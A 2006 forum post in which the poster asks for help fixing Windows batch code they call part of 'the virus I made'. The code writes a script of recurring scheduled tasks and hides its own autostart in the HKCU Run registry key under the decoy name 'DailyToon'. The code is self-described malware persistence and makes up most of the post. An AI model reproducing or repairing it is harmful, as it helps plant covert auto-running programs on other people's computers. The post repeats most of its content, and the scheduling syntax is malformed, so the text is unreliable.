Goldenclaw
08-03-2006, 04:35 PM
I'm trying to make a batch file set events and runs them, but it's not working. Here's the excerpt of code from the virus I made that deals with sceduling events:
echo @echo off >> "%userprofile%\setvents.bat"
echo at **:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at **:*7 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at *5:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at *7:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at **:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
REM Sceduling Events
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "DailyToon" /d "%userprofile%\setvents.bat" /f
cls
This doesn't work, and it's very odd. When I execute the code, sceduled events will appear in Control Panel/Sceduled Tasks, but when the time comes for them to execute, they don't do anything. They just say "Running", while they aren't running anything.
I was trying to debug this and I changed "%userprofile%\hello.bat" to "sol.exe". No Solitare popped up, but a process in the background named "sol.exe" started to run. I don't get it.
Thanks for reading, and I hope you can help.
echo @echo off >> "%userprofile%\setvents.bat"
echo at **:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at **:*7 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at *5:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at *7:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at **:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
REM Sceduling Events
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "DailyToon" /d "%userprofile%\setvents.bat" /f
cls
This doesn't work, and it's very odd. When I execute the code, sceduled events will appear in Control Panel/Sceduled Tasks, but when the time comes for them to execute, they don't do anything. They just say "Running", while they aren't running anything.
I was trying to debug this and I changed "%userprofile%\hello.bat" to "sol.exe". No Solitare popped up, but a process in the background named "sol.exe" started to run. I don't get it.
Thanks for reading, and I hope you can help.